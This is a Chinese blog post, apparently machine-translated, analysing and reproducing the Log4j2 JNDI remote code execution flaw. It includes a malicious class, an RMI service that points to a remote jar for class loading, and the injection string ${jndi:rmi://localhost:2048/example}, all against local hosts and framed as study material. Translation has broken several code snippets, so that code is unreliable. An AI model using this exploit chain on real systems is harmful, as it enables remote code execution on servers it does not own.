1事件背景经过一周的Log4j2RCE事件发酵,事情也在变化,变得越来越复杂和有趣。Log4j正式发布2.15.0版本后没多久,就发声明称2.15.0版本并没有彻底解决问题,随后又继续发布了2.16.0版本。每个人都认为2.16.0是最终版本。没想到过了好久,雷声大作,Log4j2.17.0诞生了。相信大家都在加班熬夜,紧急修复和纠正ApacheLog4j暴露出的安全漏洞。所有公司都瑟瑟发抖,连网警都通知了包括我在内的站长们。我也紧急发布了两个教程给你建议,我之前发布的教程仍然有效。【急】ApacheLog4j任意代码执行漏洞安全风险升级修复教程【急】继续折腾,Log4j又要发布2.16.0了,强烈建议升级虽然,大家按照教程一步一步快速解决问题步骤,但是很多朋友还是有很多疑惑,不知道为什么。在这里我给大家详细分析和复现Log4j2漏洞的原因,纯属学习之用。Log4j2漏洞一般通过JNDI注入恶意代码进行攻击。具体的操作方式有RMI和LDAP。2JNDI简介2.1JNDI的定义JNDI(JavaNamingandDirectoryInterface,Java命名和目录接口)是Java中提供命名和目录服务接口的API。JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中,Naming是指通过一个唯一的标识符将一个对象绑定到一个上下文Context中,同时通过唯一的标识符可以找到该对象identifier,而Directory主要是指将一个对象的属性绑定到Directory的contextDirContext中,同时可以通过name获取对象的属性,还可以对属性进行操作。2.2JNDI架构Java应用程序通过JNDIAPI访问目录服务,JNDIAPI会调用NamingManager实例化JNDISPI,然后使用JNDISPI操作LDAP、DNS、RMI等命名或目录服务。JNDI内部实现了操作用于目录服务器的API,例如LDAP、DNS、RMI等。其架构图如下:2.3JNDICoreAPI|类名|说明||------|------||语境|to-object的key-value对可以通过这个接口绑定到class上,也可以根据name|获取绑定的对象|初始上下文命名|(命名服务)操作入口类通过该类,通过该类可以对命名服务进行相关操作||目录上下文|目录服务的Directory接口类,继承于Context,在Naming服务的基础上扩展了对对象属性的绑定和获取操作||初始目录上下文|Directory目录服务相关操作的入口类,通过它可以进行目录相关服务操作|Java通过JNDIAPI调用服务。比如我们熟悉的odbc数据连接,就是通过JNDI调用数据源。下面这段代码大家应该不陌生:在Context.xml文件中,我们可以定义数据库驱动、url、账号密码等关键信息,name字段的内容是自定义的。下面使用InitialContext对象获取数据源Connectionconn=null;PreparedStatementps=null;ResultSetrs=null;try{上下文ctx=newInitialContext();对象datasourceRef=ctx.lookup("java:comp/env/jndi/person");//引用数据源DataSourceds=(Datasource)datasourceRef;conn=ds.getConnection();//省略一些代码...c.close();}catch(Exceptione){e.printStackTrace();}finally{if(conn!=null){try{conn.close();}catch(SQLExceptione){}}}这很熟悉吗?JNDI的其他应用我这里就不介绍了。如果不了解JNDI/RMI/LDAP等相关概念,请自行百度。3攻击原理下面我将以RMI方式为例详细说明复现步骤并分析原因。在讲解基本的攻击原理之前,我们先来看一张时序图:1.攻击者首先发布一个RMI服务,该服务会绑定一个引用类型的RMI对象。在引用的对象中指定包含恶意代码的远程类。例如:包含system.exit(1)等危险操作和恶意代码的下载地址。2.攻击者发布另一个恶意代码下载服务??,可以下载所有包含恶意代码的类。3、攻击者利用Log4j2的漏洞注入RMI调用,例如:logger.info("loginformation${jndi:rmi://rmi-service:port/example}")。4、调用RMI后,会得到引用类型的RMI远程对象,该对象会加载恶意代码并执行。4漏洞复现4.1创建恶意代码创建恶意代码相关类,以下代码仅供学习使用:终止”);系统.exit(1);}}创建HackedClassFactory类的定义,并在构造函数中编写恶意代码终止程序。4.2发布恶意代码将HackedClassFactory类打成jar包,发布到HTTP服务器,通过简单的Get请求即可正常下载。4.3创建RMI服务编写如下代码并运行程序:LocateRegistry;导入java.util.Hashtable;导入com.sun.jndi.rmi.registry.ReferenceWrapper;公共类HackedRmiService{publicstaticvoidmain(String[]args){try{intport=2048;//设置RMI服务远程监听端口//创建并发布RMI服务LocateRegistry.createRegistry(port);Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://127.0.0.1"+":"+port);上下文context=newInitialContext(env);StringserviceName="例子";StringserviceClassName="com.tom.example.log4j.HackedClassFactory";//指定恶意代码下载地址Referencerefer=newReference(serviceName,serviceClassName,"http://127.0.0.1/example/classes.jar");ReferenceWrapperwrapper=newReferenceWrapper(refer);//为RMI服务绑定一个引用类型对象,这个对象可以被远程访问context.bind(serviceName,wrapper);}catch(Exceptione){e.printStackTrace();}}}RMI服务启动后,释放监听端口为2048的RMI服务运行netstat-ano|找到“2048”命令查看,得到如下结果,说明RMI服务已经正常启动,如下图:4.4注入恶意代码接下来我们利用Log4j漏洞注入恶意代码,有业务已知用户登录的场景,不管怎么实现,代码如下:@RequestMapping(value="/login")publicResponseEntitylogin(StringloginName,StringloginPass){ResultMsg>data=memberService.login(登录名,登录密码);//Demo代码,省略业务逻辑,默认登录成功log.info("登录成功",loginName);字符串json=JSON.toJSONString(数据);returnResponseEntity.ok().contentType(MediaType.APPLICATION_JSON).body(json);}使用Postman测试,首先正常访问可以得到预期的结果,如下图:用户登录成功后,token会正常返回,这似乎是一个常规操作。细心的小伙伴发现,登录成功后,后台会打印一条日志,输出登录的用户名。接下来,我做一个非常规操作。输入用户名${jndi:rmi://localhost:2048/example}发现程序没有响应。查看后台日志,已经终止。这只是示范效果。我写的恶意代码只是终止了程序。如果攻击者注入其他恶意代码,后果不堪设想。5源码分析通过以上案例,还原了攻击者利用Log4j漏洞攻击目标程序的完整过程。接下来分析Log4j的源码,了解根源。罪魁祸首是Log4j2的MessagePatternConverter组件中的format()方法。Log4j在记录日志时会间接调用该方法。具体源码如下:从源码中我们可以发现,该方法截取了$和{}之间的字符字符串,以该字符作为查找对象的条件。如果字符为jndi:rmi协议格式,则执行JNDI方式的RMI调用,从而触发原生RMI服务调用。具体调用位置是StrSubstitutor的substitute()方法:privateintsubstitution(LogEventevent,StringBuilderbuf,intoffset,intlength,ListpriorVariables){//这里省略部分代码...this.checkCyclicSubstitution(varName,(List)priorVariables);((List)priorVariables).add(varName);StringvarValue=this.resolveVariable(event,varName,buf,startPos,pos);if(varValue==null){varValue=varDefaultValue;}//这里省略部分代码...}上面代码中的resolveVariable()最终会调用InitialContext的lookup()方法:protectedStringresolveVariable(LogEventevent,StringvariableName,StringBuilderbuf,intstartPos,intendPos){StrLookup解析器=this.getVariableResolver();返回解析器==null?null:resolver.lookup(event,variableName);}通过断点调试,我们确实发现调用了RMI服务,如下图所示:最终恶意代码通过RMI加载后,会调用getObjectFactoryFromReference()javax.naming.spi.NamingManager加载恶意代码的方法,也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先,它会尝试在本地找到它。如果本地找不到,会通过远程地址加载,也就是我们发布的下载服务,即http://127.0.0.1/example/clas...加载远程代码后,调用结构体通过反射构造函数创建攻击类的实例,在构造函数中写入恶意代码,从而在受害者程序中间接执行恶意代码。看到这里,小伙伴们有没有和SQL注入一样的感觉呢?5风险条件漏洞需要满足以下条件才能被攻击:1、首先使用Logj4j2的漏洞版本,即版本<=2.14.1。2、攻击者有机会注入恶意代码,例如系统中记录的日志信息没有经过任何特殊过滤。3、攻击者需要发布RMI远程服务和恶意代码下载服务??。4、受害者网络可以访问RMI服务和恶意代码下载服务??,即受害者服务器可以随意访问公网,或者在内网发布过类似的危险服务。5、受害者在JVM中使RMI/LDAP等协议的truseURLCodebase属性为真。以上就是我对Log4j2RCE漏洞的完整复现和根因分析。当然,最有效的方法是关闭Lookup相关功能。虽然官方也在紧急修复,但软件升级存在一定的风险,可能需要进行大量的反复测试工作。我之前紧急发布的教程仍然有效,您可以继续参考最有效,最可靠的解决问题的方法。【急】ApacheLog4j任意代码执行漏洞安全风险升级修复教程【急】继续折腾,Log4j又要发布2.16.0了,强烈建议升级关注微信公众号『汤姆炸弹架构』回复"Spring"以获得完整的源代码。本文为《汤姆炸弹建筑》原创,转载请注明出处。科技在于分享,我分享我的快乐!如果大家有什么建议,也可以留言或者私信。您的支持是我坚持创作的动力。关注微信公众号“汤姆炸弹架构”,获取更多技术干货!原创不易,坚持很酷,看到这里了,小伙伴们记得点赞、收藏、观看、加关注哦!如果觉得内容太干,可以分享转发给身边的朋友一起滋润哦!